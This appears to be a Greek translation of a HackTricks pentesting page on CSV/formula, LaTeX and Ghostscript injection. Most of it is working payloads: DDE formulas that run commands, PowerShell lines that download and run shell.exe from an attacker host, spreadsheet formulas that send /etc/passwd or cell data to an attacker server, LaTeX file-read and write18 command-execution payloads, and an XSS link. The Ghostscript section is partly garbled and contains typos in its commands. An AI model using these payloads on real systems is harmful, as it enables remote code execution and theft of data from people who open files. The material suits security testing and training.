Formula/CSV/Doc/LaTeX/GhostScript Injection

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Ομάδα Ασφάλειας Try Hard


Εισαγωγή Τύπου

Πληροφορίες

Αν το input σας αντανακλάται μέσα σε αρχεία CSV (ή οποιοδήποτε άλλο αρχείο που πιθανόν να ανοίξει ο Excel), μπορείτε ενδεχομένως να τοποθετήσετε τύπους Excel που θα εκτελεστούν όταν ο χρήστης ανοίξει το αρχείο ή όταν ο χρήστης κάνει κλικ σε κάποιο σύνδεσμο μέσα στο φύλλο Excel.

Σήμερα το Excel θα ειδοποιήσει (πολλές φορές) τον χρήστη όταν κάτι φορτώνεται από έξω από το Excel προκειμένου να τον προφυλάξει από κακόβουλες ενέργειες. Συνεπώς, πρέπει να εφαρμοστεί ειδική προσπάθεια στον Κοινωνικό Μηχανικό για το τελικό φορτίο.

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Υπερσύνδεσμος

Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο Excel και για την αποστολή αιτημάτων σε αυθαίρετες τοποθεσίες. Αλλά απαιτεί τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τα προειδοποιητικά μηνύματα).

Το παρακάτω παράδειγμα προέρχεται από https://payatu.com/csv-injection-basic-to-exploit

Φανταστείτε μια παραβίαση ασφαλείας σε ένα σύστημα Διαχείρισης Εγγραφών Φοιτητών που εκμεταλλεύεται μια επίθεση εισροής CSV. Η κύρια πρόθεση του επιτιθέμενου είναι να διακινδυνεύσει το σύστημα που χρησιμοποιούν οι καθηγητές για τη διαχείριση των λεπτομερειών των φοιτητών. Η μέθοδος περιλαμβάνει την εισροή μιας κακόβουλης φορτίωσης στην εφαρμογή, συγκεκριμένα με την εισαγωγή επιβλαβών τύπων σε πεδία που προορίζονται για τις λεπτομέρειες των φοιτητών. Η επίθεση εξελίσσεται ως εξής:

  1. Εισροή Κακόβουλης Φορτίωσης:

  • Ο επιτιθέμενος υποβάλλει ένα φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει μια φόρμουλα που χρησιμοποιείται συχνά σε υπολογιστικά φύλλα (π.χ., =HYPERLINK("<κακόβουλος_σύνδεσμος>","Κάντε κλικ εδώ")).

  • Αυτή η φόρμουλα σχεδιάστηκε για να δημιουργήσει έναν υπερσύνδεσμο, αλλά δείχνει προς έναν κακόβουλο διακοντρολιζόμενο διακομιστή από τον επιτιθέμενο.

  1. Εξαγωγή Κατεστραμμένων Δεδομένων:

  • Οι καθηγητές, χωρίς να γνωρίζουν την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.

  • Το αρχείο CSV, όταν ανοίγεται, παραμένει με την κακόβουλη φορτίωση. Αυτή η φορτίωση εμφανίζεται ως κλικάρισμα υπερσυνδέσμου στο υπολογιστικό φύλλο.

  1. Ενεργοποίηση της Επίθεσης:

  • Ένας καθηγητής κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι αποτελεί νόμιμο μέρος των λεπτομερειών του φοιτητή.

  • Μετά το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή του υπολογιστή του καθηγητή) μεταδίδονται στον διακοντρολιζόμενο διακομιστή του επιτιθέμενου.

  1. Καταγραφή των Δεδομένων:

  • Ο διακοντρολιζόμενος διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που στάλθηκαν από τον υπολογιστή του καθηγητή.

  • Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, διακινδυνεύοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.

RCE

Ελέγξτε την αρχική ανάρτηση για περαιτέρω λεπτομέρειες.

Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια λειτουργία που ονομάζεται Δυναμική Ανταλλαγή Δεδομένων (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να το επιτύχετε αυτό, πρέπει να ενεργοποιηθούν οι ακόλουθες ρυθμίσεις:

  • Πλοηγηθείτε σε Αρχείο → Επιλογές → Κέντρο Εμπιστοσύνης → Ρυθμίσεις Κέντρου Εμπιστοσύνης → Εξωτερικό Περιεχόμενο, και ενεργοποιήστε την Εκκίνηση Διακοντρολιζόμενου Διακομιστή Δυναμικής Ανταλλαγής Δεδομένων.

Όταν ανοίγεται ένα υπολογιστικό φύλλο με την κακόβουλη φορτίωση (και αν ο χρήστης αποδέχεται τα προειδοποιητικά μηνύματα), η φορτίωση εκτελείται. Για παράδειγμα, για να εκκινήσετε την εφαρμογή αριθμομηχανή, η φορτίωση θα ήταν:

=cmd|' /C calc'!xxx

Μπορούν επίσης να εκτελεστούν πρόσθετες εντολές, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Ενσωμάτωση Τοπικού Αρχείου (LFI) στο LibreOffice Calc

Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξυφάντωση δεδομένων. Εδώ υπάρχουν μερικές μέθοδοι:

  • Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο /etc/passwd: ='file:///etc/passwd'#$passwd.A1

  • Εξύφανση των δεδομένων προς έναν διακεκριμένο διακομιστή επιτιθέμενου: =WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • Εξύφανση περισσότερων από μία γραμμή: =WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • Εξύφανση DNS (αποστολή δεδομένων ανάγνωσης ως ερωτήματα DNS σε έναν διακεκριμένο διακομιστή DNS επιτιθέμενου): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domain του επιτιθέμενου>"))

Google Sheets για Εξύφανση Δεδομένων Εκτός Ζώνης (OOB)

Το Google Sheets προσφέρει λειτουργίες που μπορούν να εκμεταλλευτούν για την εξύφανση δεδομένων εκτός ζώνης:

  • CONCATENATE: Συνενώνει αλφαριθμητικά - =CONCATENATE(A2:E2)

  • IMPORTXML: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - =IMPORTXML(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: Εισάγει ροές RSS ή ATOM - =IMPORTFEED(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: Εισάγει δεδομένα από πίνακες HTML ή λίστες - =IMPORTHTML (CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: Εισάγει ένα εύρος κελιών από άλλο φύλλο εργασίας - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Αναγνωριστικό_Φύλλου]", "sheet1!A2:E2")

  • IMAGE: Εισάγει μια εικόνα σε ένα κελί - =IMAGE("https://<διεύθυνση IP του επιτιθέμενου:Θύρα>/images/srpr/logo3w.png")

Εισαγωγή LaTeX

Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που μετατρέπουν κώδικα LaTeX σε PDF χρησιμοποιούν το pdflatex. Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για την (απ)απαγόρευση εκτέλεσης εντολών:

  • --no-shell-escape: Απενεργοποιεί την κατασκευή \write18{command}, ακόμη κι αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.

  • --shell-restricted: Ίδιο με το --shell-escape, αλλά περιορίζεται σε ένα σύνολο 'ασφαλών' προκαθορισμένων **εντολών (**Στο Ubuntu 16.04 η λίστα βρίσκεται στο /usr/share/texmf/web2c/texmf.cnf).

  • --shell-escape: Ενεργοποιεί την κατασκευή \write18{command}. Η εντολή μπορεί να είναι οποιαδήποτε εντολή κελώνας. Αυτή η κατασκευή απαγορεύεται κανονικά για λόγους ασφαλείας.

Ωστόσο, υπάρχουν και άλλοι τρόποι εκτέλεσης εντολών, οπότε για να αποφευχθεί η RCE είναι πολύ σημαντικό να χρησιμοποιηθεί το --shell-restricted.

Ανάγνωση αρχείου

Μπορεί να χρειαστεί να προσαρμόσετε την ενσωμάτωση με περιτύλιγματα όπως [ ή $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Διαβάστε αρχείο με μία γραμμή

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Διαβάστε πολλαπλές γραμμές αρχείου

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Γράψτε αρχείο

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Εκτέλεση εντολής

Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να το λάβετε.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
\section{Ενσωμάτωση Κώδικα Ghostscript σε Έγγραφο CSV μέσω Λάθους Σύνταξης σε Έγγραφο LaTeX}

Μια επιπλέον τεχνική είναι να ενσωματώσετε κώδικα Ghostscript σε ένα έγγραφο CSV μέσω ενός λάθους σύνταξης σε ένα έγγραφο LaTeX. Αυτό μπορεί να οδηγήσει στην εκτέλεση κώδικα Ghostscript όταν το έγγραφο LaTeX μετατραπεί σε PDF μέσω του Ghostscript. Αυτό μπορεί να είναι επικίνδυνο, καθώς επιτρέπει σε κακόβουλο κώδικα να εκτελεστεί στο σύστημά σας.

Για να επιτύχετε αυτό, μπορείτε να εισάγετε κώδικα Ghostscript σε ένα κελί CSV μέσω της εντολής LaTeX \textbackslash{}immediate\textbackslash{}write18. Όταν το έγγραφο LaTeX μετατραπεί σε PDF, ο κώδικας Ghostscript θα εκτελεστεί αυτόματα.

Είναι σημαντικό να γίνει προσεκτική ανάλυση των εισόδων που δέχεται το σύστημα, καθώς η ενσωμάτωση κώδικα Ghostscript μπορεί να οδηγήσει σε σοβαρές ευπάθειες ασφαλείας.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Από @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ενσωμάτωση Ghostscript

Έλεγχος https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Αναφορές

Try Hard Security Group

Μάθετε AWS hacking από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated